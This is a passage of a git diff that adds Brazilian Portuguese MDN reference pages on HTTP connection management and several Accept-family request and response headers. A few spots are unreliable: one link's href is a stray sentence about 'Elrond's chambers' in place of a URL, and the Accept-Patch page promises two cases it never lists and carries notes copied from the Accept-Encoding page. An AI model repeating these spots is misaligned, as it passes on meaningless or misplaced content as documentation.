a conexão HTTP/2 é capaz de manipular as solicitações sem prioridades paralelas muito bem. Sharding domínio é mesmo prejudicial ao desempenho. A maioria dos implementação de HTTP/2 usam uma técnica chamada <a href="I wonder if it's related to the nobash/nobreak/nopick secret exit s of Elrond's chambers."> connection coalescing</a> para reverter o sharding de domínio eventual. +</div> + +<p>Como uma conexão de HTTP/1.x está serializando solicitações, mesmo sem qualquer ordenação, não pode ser ideal sem largura de banda grande o suficiente disponível. Como uma solução, os navegadores abrir várias conexões para cada domínio, enviando solicitações paralelas. Era padrão conexões de 2 a 3, mas isto agora aumentou para um uso mais comum de 6 conexões paralelas. Há um risco de provocar proteção <a href="/en-US/docs/Glossary/DOS_attack">DoS</a> no lado do servidor, se tentar mais do que este número.</p> + +<p>Se o servidor deseja um site de Web mais rápido ou resposta do aplicativo, é possível para o servidor forçar a abertura de mais conexões. Por exemplo, em vez de ter todos os recursos no mesmo domínio, diz www.example.com, poderia dividir em vários domínios, www1.example.com, www2.example.com, www3.example.com. Cada um destes domínios resolver acessar o mesmo servidor e o navegador da Web abrirá 6 conexões para cada (no nosso exemplo, impulsionando as conexões para 18). Esta técnica é chamada sharding do domínio.</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13783/HTTPSharding.png" style="height: 727px; width: 463px;"></p> + +<h2 id="Conclusão">Conclusão</h2> + +<div class="textArea" id="destText" style="direction: ltr;"> +<div>Gerenciamento de conexão melhorada permite considerável aumento de desempenho em HTTP. Com HTTP/1.1 ou HTTP/1.0, usando uma conexão persistente – pelo menos até que se torne ocioso – levando para o melhor desempenho. No entanto, o falha do pipelining tem levado para a concepção de modelos de gestão de conexão superior, que foram incorporados ao HTTP/2.</div> +</div> diff --git a/files/pt-br/web/http/headers/accept-ch-lifetime/index.html b/files/pt-br/web/http/headers/accept-ch-lifetime/index.html new file mode 100644 index 0000000000..20adc08c6a --- /dev/null +++ b/files/pt-br/web/http/headers/accept-ch-lifetime/index.html @@ -0,0 +1,54 @@ +--- +title: Accept-CH-Lifetime +slug: Web/HTTP/Headers/Accept-CH-Lifetime +tags: + - Client hints + - Dicas do Cliente + - HTTP + - HTTP Header +translation_of: Web/HTTP/Headers/Accept-CH-Lifetime +--- +<div>{{HTTPSidebar}}{{securecontext_header}}{{SeeCompatTable}}</div> + +<p>O cabeçalho <code><strong>Accept-CH-Lifetime</strong></code> é colocado pelo servidor para especificar a persistência do valor do cabeçalho {{HTTPHeader("Accept-CH")}}, que especifica para quais cabeçalhos <a href="/en-US/docs/Glossary/Client_hints">Client Hints</a> o cliente deve incluir nas suas requisições subsequentes.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Tipo de cabeçalho</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>?</td> + </tr> + </tbody> +</table> + +<div class="blockIndicator note"> +<p><strong>Nota:</strong> Client Hints são acessíveis somente em origens seguras (via TLS). Os cabeçalhos Accept-CH e Accept-CH-Lifetime devem ser persistidos por todas as requisições seguras para assegurar que os Client Hints são enviados com segurança.</p> +</div> + +<h2 id="Sintaxe">Sintaxe</h2> + +<pre class="syntaxbox">Accept-CH-Lifetime: <age> +</pre> + +<h2 id="Exemplos">Exemplos</h2> + +<pre>Accept-CH: Viewport-Width, DPR +Accept-CH-Lifetime: 86400 +</pre> + +<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Accept-CH-Lifetime")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{HTTPHeader("Accept-CH")}}</li> + <li>{{HTTPHeader("Vary")}}</li> +</ul> diff --git a/files/pt-br/web/http/headers/accept-ch/index.html b/files/pt-br/web/http/headers/accept-ch/index.html new file mode 100644 index 0000000000..9c87a5e426 --- /dev/null +++ b/files/pt-br/web/http/headers/accept-ch/index.html @@ -0,0 +1,60 @@ +--- +title: Accept-CH +slug: Web/HTTP/Headers/Accept-CH +tags: + - Client hints + - Dicas do Cliente + - HTTP + - HTTP Header +translation_of: Web/HTTP/Headers/Accept-CH +--- +<div>{{HTTPSidebar}}{{securecontext_header}}{{SeeCompatTable}}</div> + +<p>O cabeçalho <code><strong>Accept-CH</strong></code> é colocado pelo servidor para especificar quais cabeçalhos <a href="/en-US/docs/Glossary/Client_hints">Client Hints</a> o cliente deve incluir nas requisições subsequentes.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Tipo de cabeçalho</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>?</td> + </tr> + </tbody> +</table> + +<div class="blockIndicator note"> +<p><strong>Nota:</strong> Client Hints são acessíveis somente em origens seguras (via TLS). Os cabeçalhos Accept-CH e Accept-CH-Lifetime devem ser persistidos por todas as requisições seguras para assegurar que os Client Hints são enviados com segurança.</p> +</div> + +<h2 id="Sintaxe">Sintaxe</h2> + +<pre class="syntaxbox">Accept-CH: <lista de client hints> +</pre> + +<h2 id="Exemplos">Exemplos</h2> + +<pre>Accept-CH: DPR, Viewport-Width +Accept-CH: Width +Accept-CH-Lifetime: 86400 +Vary: DPR, Viewport-Width, Width +</pre> + +<div class="blockIndicator note"> +<p><strong>Nota:</strong> Lembre de <a href="https://developer.mozilla.org/en-US/docs/Glossary/Client_hints#Varying_Client_Hints">variar a resposta</a> baseado nos client hints aceitos.</p> +</div> + +<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Accept-CH")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{HTTPHeader("Accept-CH-Lifetime")}}</li> + <li>{{HTTPHeader("Vary")}}</li> +</ul> diff --git a/files/pt-br/web/http/headers/accept-charset/index.html b/files/pt-br/web/http/headers/accept-charset/index.html new file mode 100644 index 0000000000..c305153b18 --- /dev/null +++ b/files/pt-br/web/http/headers/accept-charset/index.html @@ -0,0 +1,96 @@ +--- +title: Accept-Charset +slug: Web/HTTP/Headers/Accept-Charset +tags: + - Cabeçalho HTTP + - Cabeçalho de requisição + - Content Negotiation + - HTTP + - HTTP Header + - Negociação de conteúdo + - Reference + - Referencia + - Request header +translation_of: Web/HTTP/Headers/Accept-Charset +--- +<div>{{HTTPSidebar}}</div> + +<p><span class="seoSummary">O cabeçalho de requisição HTTP <strong><code>Accept-Charset</code></strong> anuncia quais {{glossary("character encoding", "character encodings")}} o cliente entende.</span> Usando <a href="/en-US/docs/Web/HTTP/Content_negotiation">negociação de conteúdo</a>, o servidor seleciona uma das codificações, a utiliza, e informa o cliente da sua escolha dentro do cabeçalho de resposta {{HTTPHeader("Content-Type")}}, geralmente em um parâmetro <code>charset=</code>. Navegadores geralmente não mandam este cabeçalho, por que o valor padrão para cada recurso geralmente está correto e transmiti-lo iria permitir <a href="/en-US/docs/Mozilla/Firefox/Privacy/Tracking_Protection">fingerprinting</a>.</p> + +<p>Se o servidor não pode servir nenhum codificação de caracteres vindo deste cabeçalho de requisição, ele pode teoricamente manda de volta um código de erro {{HTTPStatus("406", "406 Not Acceptable")}}. Mas para uma melhor experiência de usuário, isso raramente é feito e o cabeçalho <code>Accept-Charset</code> é ignorado.</p> + +<div class="note"> +<p>Nas versões mais antigas do HTTP/1.1, a codificação de caracteres definida era: ISO-8859-1. Isto não é mais recomendado, e agora todo tipo de conteúdo tem o seu próprio padrão.</p> +O UTF-8 é agora muito bem suportado e extremamente recomendado como codificação de caracteres preferida. Para <a href="https://www.eff.org/deeplinks/2010/01/primer-information-theory-and-privacy">garantir melhor privacidade e através de menor entropia com base em configuração</a>, todos os navegadores omitem o cabeçalho <code>Accept-Charset</code>: Internet Explorer 8+, Safari 5+, Opera 11+, Firefox 10+ e Chrome 27+ não o enviam mais.</div> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Tipo de cabeçalho</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>sim</td> + </tr> + </tbody> +</table> + +<h2 id="Sintaxe">Sintaxe</h2> + +<pre class="syntaxbox">Accept-Charset: <charset> + +// Múltiplos tipos, com pesos baseados na sintaxe de {{glossary("quality values", "quality value")}}: +Accept-Charset: utf-8, iso-8859-1;q=0.5</pre> + +<h2 id="Diretivas">Diretivas</h2> + +<dl> + <dt><code><var><charset></var></code></dt> + <dd>O nome da codificação de caracteres, como <code>utf-8</code> ou <code>iso-8859-15.</code></dd> + <dt><code>*</code></dt> + <dd>Qualquer codificação de caracteres não mencionada em qualquer lugar no cabeçalho; <code>*</code> é usado como coringa.</dd> + <dt><code>;q=<var><weight></var></code></dt> + <dd>Qualquer codificação de caracteres é colocado na ordem de preferência, expresso usando um {{glossary("quality values", "quality value")}} relativo chamado de <em>peso</em>.</dd> +</dl> + +<h2 id="Exemplos">Exemplos</h2> + +<pre>Accept-Charset: iso-8859-1 + +Accept-Charset: utf-8, iso-8859-1;q=0.5 + +Accept-Charset: utf-8, iso-8859-1;q=0.5, *;q=0.1 +</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{RFC("7231", "Accept-Charset", "5.3.3")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Context</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2> + + + +<p>{{Compat("http.headers.Accept-Charset")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li><a href="/en-US/docs/Web/HTTP/Content_negotiation">Negociação de conteúdo</a> HTTP</li> + <li><a href="https://hsivonen.fi/accept-charset/">Nunca mais Accept-Charset</a></li> + <li>Cabeçalho com a resposta do conteúdo de negociação: {{HTTPHeader("Content-Type")}}</li> + <li>Outros cabeçalhos similares: {{HTTPHeader("TE")}}, {{HTTPHeader("Accept-Encoding")}}, {{HTTPHeader("Accept-Language")}}, {{HTTPHeader("Accept")}}</li> +</ul> diff --git a/files/pt-br/web/http/headers/accept-encoding/index.html b/files/pt-br/web/http/headers/accept-encoding/index.html new file mode 100644 index 0000000000..c3e01c060c --- /dev/null +++ b/files/pt-br/web/http/headers/accept-encoding/index.html @@ -0,0 +1,119 @@ +--- +title: Accept-Encoding +slug: Web/HTTP/Headers/Accept-Encoding +tags: + - Cabeçalho HTTP + - Cabeçalho de requisição + - Content Negotiation + - HTTP + - HTTP Header + - Negociação de conteúdo + - Reference + - Referencia + - Request header +translation_of: Web/HTTP/Headers/Accept-Encoding +--- +<div>{{HTTPSidebar}}</div> + +<p>O cabeçalho de requisição HTTP <strong><code>Accept-Encoding</code></strong> indica qual codificação de conteúdo, usualmente um algoritmo de compressão, o cliente está apto a entender. Usando <a href="/en-US/docs/Web/HTTP/Content_negotiation">negociação de conteúdo</a>, o servidor seleciona uma das propostas, a utiliza e informa o cliente da escolha feita com o cabeçalho de resposta {{HTTPHeader("Content-Encoding")}}.</p> + +<p>Até mesmo se o cliente e o servidor suportarem os mesmos algoritmos de compressão, o servidor pode escolher não comprimir o corpo da resposta, se o valor de identidade também é aceitável. Dois casos comuns levam a isso:</p> + +<ul> + <li>Os dados a serem enviados já estão comprimidos e a segunda compressão não irá deixar os dados menores para serem transmitidos. Isso pode ser o caso com alguns formatos de imagens;</li> + <li>O servidor está sobrecarregado e não pode suportar a sobrecarga computacional induzida pelas exigências da compressão. Tipicamente, a Microsoft recomenda a não comprimir um corpo de resposta se o servidor utiliza mais do que 80% do seu poder computacional.</li> +</ul> + +<p>Enquanto o valor de <code>identity</code>, que significa sem codificação, não é explicitamente proibido, por um <code>identity;q=0</code> ou um <code>*;q=0</code> sem qualquer outra atribuição explícita para a identidade, o servidor nunca deve mandar como resposta um erro {{HTTPStatus("406")}} <code>Not Acceptable</code>.</p> + +<div class="note"><strong>Notas:</strong> + +<ul> + <li> + <p>Um registro da IANA mantém <a class="external" href="http://www.iana.org/assignments/http-parameters/http-parameters.xml#http-parameters-1">a lista completa das codificações de conteúdo</a>.</p> + </li> + <li>Duas outras codificações de conteúdo, <code>bzip</code> e <code>bzip2</code>, são algumas vezes utilizadas, entretanto não são o padrão. Elas implementam o algoritmo usado por estes dois programas UNIX. Note que o primeiro foi descontinuado por problemas de patente.</li> +</ul> +</div> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Tipo de cabeçalho</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>sim</td> + </tr> + </tbody> +</table> + +<h2 id="Sintaxe">Sintaxe</h2> + +<pre class="syntaxbox">Accept-Encoding: gzip +Accept-Encoding: compress +Accept-Encoding: deflate +Accept-Encoding: br +Accept-Encoding: identity +Accept-Encoding: * + +// Múltiplos algoritmos, com pesos baseados na sintaxe de {{Glossary("Quality Values", "quality value")}}: +Accept-Encoding: deflate, gzip;q=1.0, *;q=0.5</pre> + +<h2 id="Diretivas">Diretivas</h2> + +<dl> + <dt><code>gzip</code></dt> + <dd>Formato de compressão usando o <a class="external external-icon" href="http://en.wikipedia.org/wiki/LZ77_and_LZ78#LZ77">Lempel-Ziv coding</a> (LZ77), com CRC de 32-bits.</dd> + <dt><code>compress</code></dt> + <dd>Formato de compressão usando o algoritmo <a class="external external-icon" href="http://en.wikipedia.org/wiki/LZW">Lempel-Ziv-Welch</a> (LZW).</dd> + <dt><code>deflate</code></dt> + <dd>Formato de compressão usando a estrutura <a class="external external-icon" href="http://en.wikipedia.org/wiki/Zlib">zlib</a>, com o algoritmo de compressão <a class="external external-icon" href="http://en.wikipedia.org/wiki/DEFLATE"><em>deflate</em></a>.</dd> + <dt><code>br</code></dt> + <dd>Formato de compressão usando o algoritmo de <a class="external external-icon" href="https://en.wikipedia.org/wiki/Brotli">Brotli</a>.</dd> + <dt><code>identity</code></dt> + <dd>Indica a identidade da função (i.e. sem compressão, ou sem modificação). Esse valor é sempre considerado como aceitável, mesmo se não estiver presente.</dd> + <dt><code>*</code></dt> + <dd>Aceita qualquer codificação de conteúdo ainda não listada no cabeçalho. Esse é o valor padrão se o cabeçalho não estiver presente. Isto não significa que qualquer algoritmo é suportado; meramente que nenhuma preferência é expressa.</dd> + <dt><code>;q=</code> (valores de peso q)</dt> + <dd>Qualquer valor é colocado em uma ordem de preferência expressada usando a <a href="/en-US/docs/Glossary/Quality_values">quality value</a> relativa chamada <em>peso</em>.</dd> +</dl> + +<h2 id="Exemplos">Exemplos</h2> + +<pre>Accept-Encoding: gzip + +Accept-Encoding: gzip, compress, br + +Accept-Encoding: br;q=1.0, gzip;q=0.8, *;q=0.1 +</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + <tr> + <td>{{RFC("7231", "Accept-Encoding", "5.3.4")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Context</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Accept-Encoding")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li><a href="/en-US/docs/Web/HTTP/Content_negotiation">Negociação de conteúdo </a>HTTP</li> + <li>Cabeçalho com o resultado do conteúdo de negociação: {{HTTPHeader("Content-Encoding")}}</li> + <li>Outros cabeçalhos similares: {{HTTPHeader("TE")}}, {{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Charset")}}, {{HTTPHeader("Accept-Language")}}</li> +</ul> diff --git a/files/pt-br/web/http/headers/accept-language/index.html b/files/pt-br/web/http/headers/accept-language/index.html new file mode 100644 index 0000000000..14fdef299d --- /dev/null +++ b/files/pt-br/web/http/headers/accept-language/index.html @@ -0,0 +1,97 @@ +--- +title: Accept-Language +slug: Web/HTTP/Headers/Accept-Language +tags: + - Cabeçalho HTTP + - HTTP +translation_of: Web/HTTP/Headers/Accept-Language +--- +<div>{{HTTPSidebar}}</div> + +<p>O cabeçalho HTTP <strong><code>Accept-Language</code></strong> anuncia quais linguas o cliente é capaz de entender, e qual é a preferência do variante do Locale. (Por Linguas, queremos dizer linguas como Inglês e portugues) Usando <a href="/en-US/docs/Web/HTTP/Content_negotiation">content negotiation</a>, o servidor seleciona uma das propostas, usa ela e informa o cliente da sua escolha com o {{HTTPHeader("Content-Language")}} cabeçalho de responsta. Navegadores configuram valores adequados para este cabeçalhos de acordo com a língua configurada pelo usuario. </p> + +<p>Este cabeçalho é uma dica a ser usada pelo servicor quando ele não possui outra forma de determinar a lingua do cliente, como uma URL específica, que é controlada por uma decisão explicita do usuário. É recomendado que o servidor nunca sobreescreva uma decisão explícita. O conteúdo de <code>Accept-Language</code> está comumente fora do controle do usuário (em uma viagem a outro país por exemplo); O usuário pode querer acessar a pagina em outra lingua diferente da decidida pelo navegador.</p> + +<p>Se o servicor não encontrar uma língua correspondente, ele pode, teóricamente responder com o código de erro{{HTTPStatus("406")}} (Not Acceptable) . Mas, para uma melhor experiencia de usuário, iss o raramente é feito. Mais comumente, quando isso ocorre, o cabeçalho é ignorado.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Tipo de Cabeçalho</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + <tr> + <th scope="row">{{Glossary("Simple header", "CORS-safelisted request-header")}}</th> + <td>yes</td> + </tr> + </tbody> +</table> + +<h2 id="Syntax">Syntax</h2> + +<pre class="syntaxbox">Accept-Language: <language> +Accept-Language: * + +// Multiple types, weighted with the {{glossary("quality values", "quality value")}} syntax: +Accept-Language: fr-CH, fr;q=0.9, en;q=0.8, de;q=0.7, *;q=0.5</pre> + +<h2 id="Diretivas">Diretivas</h2> + +<dl> + <dt><code><language></code></dt> + <dd> + <p>A tag language (a qual pode ser chamada de "identificador de Locale") consiste de uma tag de 2 a 3 letras representando a lingua, opcionalmente pode ser seguida de um <code>'-'</code> separa outras informações extras. A mais comum informação extra é a região do país (como<code>'pt-BR'</code> ou <code>'pt-PT'</code>) ou o tipo do alfabeto a ser usado (como<code>'sr-Latn'</code>). Outras variantes como o tipo de ortografia (<code>'de-DE-1996'</code>) normalmente não são utilizadas no contexto deste cabeçalho.</p> + </dd> + <dt><code>*</code></dt> + <dd>Qualquer lingua; <code>'*'</code> é utilizado como curinga.</dd> + <dt><code>;q=</code> (q-factor weighting)</dt> + <dd>Any value placed in an order of preference expressed using a relative {{glossary("Quality values", "quality value")}} called <em>weight</em>.</dd> +</dl> + +<h2 id="Examples">Examples</h2> + +<pre>Accept-Language: de + +Accept-Language: de-CH + +Accept-Language: en-US,en;q=0.5 +</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{RFC("7231", "Accept-Language", "5.3.5")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Context</td> + </tr> + <tr> + <td><a href="https://tools.ietf.org/html/bcp47">BCP 47</a></td> + <td>Tags for the Identification of Language</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Accept-Language")}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li>HTTP <a href="/en-US/docs/Web/HTTP/Content_negotiation">content negotiation</a></li> + <li>Header with the result of the content negotiation: {{HTTPHeader("Content-Language")}}</li> + <li>Other similar headers: {{HTTPHeader("TE")}}, {{HTTPHeader("Accept-Encoding")}}, {{HTTPHeader("Accept-Charset")}}, {{HTTPHeader("Accept")}}</li> +</ul> diff --git a/files/pt-br/web/http/headers/accept-patch/index.html b/files/pt-br/web/http/headers/accept-patch/index.html new file mode 100644 index 0000000000..4c26935746 --- /dev/null +++ b/files/pt-br/web/http/headers/accept-patch/index.html @@ -0,0 +1,89 @@ +--- +title: Accept-Patch +slug: Web/HTTP/Headers/Accept-Patch +tags: + - Cabeçalho HTTP + - Cabeçalho de Resposta + - HTTP + - Reference + - Referencia +translation_of: Web/HTTP/Headers/Accept-Patch +--- +<div>{{HTTPSidebar}}</div> + +<p>O cabeçalho de resposta HTTP <strong><code>Accept-Patch</code></strong> indica qual tipo de mídia o servidor está apto a entender.</p> + +<p><strong><code>Accept-Patch</code></strong> na resposta de qualquer método significa que o PATCH é permitido no recurso identificado pela Request-URI. Dois casos comuns que levam a isso:</p> + +<p>O servidor recebendo uma requisição PATCH com um tipo de mídia não suportado pode responder com {{HTTPStatus("415")}} <code>Unsupported Media Type</code> e um cabeçalho Accept-Patch referenciando um ou mais tipos de mídia suportados.</p> + +<div class="note"><strong>Notas:</strong> + +<ul> + <li> + <p>Um registro da IANA mantém <a class="external" href="http://www.iana.org/assignments/http-parameters/http-parameters.xml#http-parameters-1">uma lista oficial completa das codificações de conteúdo</a>.</p> + </li> + <li>Duas outras codificações de conteúdo, <code>bzip</code> e <code>bzip2</code>, são algumas vezes utilizadas, entretanto não são o padrão. Elas implementam o algoritmo usado por estes dois programas UNIX. Note que o primeiro foi descontinuado por problemas de patente.</li> +</ul> +</div> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Tipo de cabeçalho</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>sim</td> + </tr> + </tbody> +</table> + +<h2 id="Sintaxe">Sintaxe</h2> + +<pre class="syntaxbox">Accept-Patch: application/example, text/example +Accept-Patch: text/example;charset=utf-8 +Accept-Patch: application/merge-patch+json +</pre> + +<h2 id="Diretivas">Diretivas</h2> + +<p>Nenhuma.</p> + +<h2 id="Exemplos">Exemplos</h2> + +<pre class="syntaxbox">Accept-Patch: application/example, text/example + +Accept-Patch: text/example;charset=utf-8 + +Accept-Patch: application/merge-patch+json +</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Título</th> + </tr> + <tr> + <td>{{RFC("5789", "Accept-Patch", "3.1")}}</td> + <td>HTTP PATCH</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Accept-Patch")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>Método HTTP {{HTTPMethod("PATCH")}}</li> + <li>Semântica e contexto HTTP {{RFC("7231", "PUT", "4.3.4")}}</li> +</ul> diff --git a/files/pt-br/web/http/headers/accept-ranges/index.html b/files/pt-br/web/http/headers/accept-ranges/index.html new file mode 100644 index 0000000000..c066f11217 --- /dev/null +++ b/files/pt-br/web/http/headers/accept-ranges/index.html @@ -0,0 +1,84 @@ +--- +title: Accept-Ranges +slug: Web/HTTP/Headers/Accept-Ranges +tags: + - Cabeçalho HTTP + - Cabeçalho de Resposta + - HTTP + - HTTP Header + - Range Requests + - Reference + - Referencia + - Requisições de tamanho + - Response Header +translation_of: Web/HTTP/Headers/Accept-Ranges +--- +<div>{{HTTPSidebar}}</div> + +<p>O cabeçalho de resposta HTTP <code><strong>Accept-Ranges</strong></code> é um marcador usado pelo servidor para indicar que ele suporta requisições parciais. O valor deste campo indica a unidade utilizada para definir o tamanho.</p> + +<p>Na presença do cabeçalho <code>Accept-Ranges</code>, o navegador pode tentar retomar um <em>download</em> interrompido, ao invés de começar de novo do início.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Tipo de cabeçalho</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>não</td> + </tr> + </tbody> +</table> + +<h2 id="Sintaxe">Sintaxe</h2> + +<pre class="syntaxbox">Accept-Ranges: bytes +Accept-Ranges: none</pre> + +<h2 id="Diretivas">Diretivas</h2> + +<dl> + <dt><code>none</code></dt> + <dd>Nenhuma unidade de tamanho é suportada, isso faz com que o cabeçalho seja equivalente a sua própria ausência, sendo então raramente usado, apesar de que alguns navegadores, como o IE9, é usado para habilitar ou desabilitar os botões de pausa no gerenciador de downloads.</dd> + <dt><code>bytes</code></dt> + <dd> + <p>A unidade de tamanho são bytes.</p> + </dd> +</dl> + +<h2 id="Exemplos">Exemplos</h2> + +<pre>Accept-Ranges: bytes +</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{RFC("7233", "Accept-Ranges", "2.3")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Range Requests</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Accept-Ranges")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{HTTPHeader("If-Range")}}</li> + <li>{{HTTPHeader("Range")}}</li> +</ul> diff --git a/files/pt-br/web/http/headers/accept/index.html b/files/pt-br/web/http/headers/accept/index.html new file mode 100644 index 0000000000..3948a7aa5d --- /dev/null +++ b/files/pt-br/web/http/headers/accept/index.html @@ -0,0 +1,100 @@ +--- +title: Accept +slug: Web/HTTP/Headers/Accept +tags: + - Cabeçalho HTTP + - Cabeçalho de requisição + - HTTP + - HTTP Header + - Reference + - Referencia + - Request header +translation_of: Web/HTTP/Headers/Accept +--- +<div>{{HTTPSidebar}}</div> + +<p>O cabeçalho de requisição HTTP <strong><code>Accept</code></strong> anuncia quais tipos de conteúdo, expressos como <a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME types</a>, o cliente é capaz de entender. Usando <a href="/en-US/docs/Web/HTTP/Content_negotiation">negociação de conteúdo</a>, o servidor então seleciona uma das propostas, a usa e então informa o cliente da sua escolha com o cabeçalho de resposta {{HTTPHeader("Content-Type")}}. Navegadores colocam valores adequados para este cabeçalho dependendo do contexto onde a requisição é feita: quando buscando um CSS <em>stylesheet</em>, um valor diferente é colocado para a requisição, o mesmo acontece com imagens, vídeos ou scripts.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Tipo de cabeçalho</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>não</td> + </tr> + <tr> + <th scope="row">{{Glossary("CORS-safelisted request header")}}</th> + <td>sim, com a restrição adicional de que valores não podem conter um <em>byte de requisição de cabeçalho CORS inseguro:</em><code><em> </em>"():<>?@[\]{}</code>, Delete, Tab e outros caracteres de controle: 0x00 à 0x19.</td> + </tr> + </tbody> +</table> + +<h2 id="Sintaxe">Sintaxe</h2> + +<pre class="syntaxbox">Accept: <MIME_type>/<MIME_subtype> +Accept: <MIME_type>/* +Accept: */* + +// Múltiplos tipos, com pesos devido à sintaxe {{glossary("quality values", "quality value")}}: +Accept: text/html, application/xhtml+xml, application/xml;q=0.9, image/webp, */*;q=0.8 +</pre> + +<h2 id="Diretivas">Diretivas</h2> + +<dl> + <dt><code><MIME_type>/<MIME_subtype></code></dt> + <dd>Um único e preciso <a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME type</a>, como por exemplo: <code>text/html</code>.</dd> + <dt><code><MIME_type>/*</code></dt> + <dd>Um <a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME type</a>, mas com qualquer subtipo. <code>image/*</code> vai coincidir com <code>image/png</code>, <code>image/svg</code>, <code>image/gif</code> e outros tipos de imagens.</dd> + <dt><code>*/*</code></dt> + <dd>Qualquer <a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME type</a>.</dd> + <dt><code>;q=</code> (fator de q de peso [q-factor])</dt> + <dd>Qualquer valor usado é colocado em uma ordem de preferência expressada usando o <a href="/en-US/docs/Glossary/Quality_values">quality value</a> relativo chamado <em>peso.</em></dd> +</dl> + +<h2 id="Exemplos">Exemplos</h2> + +<pre>Accept: text/html + +Accept: image/* + +// Padrão geral +Accept: */* + +// Padrão para requisições de navegação +Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8 +</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{RFC("7231", "Accept", "5.3.2")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Context</td> + 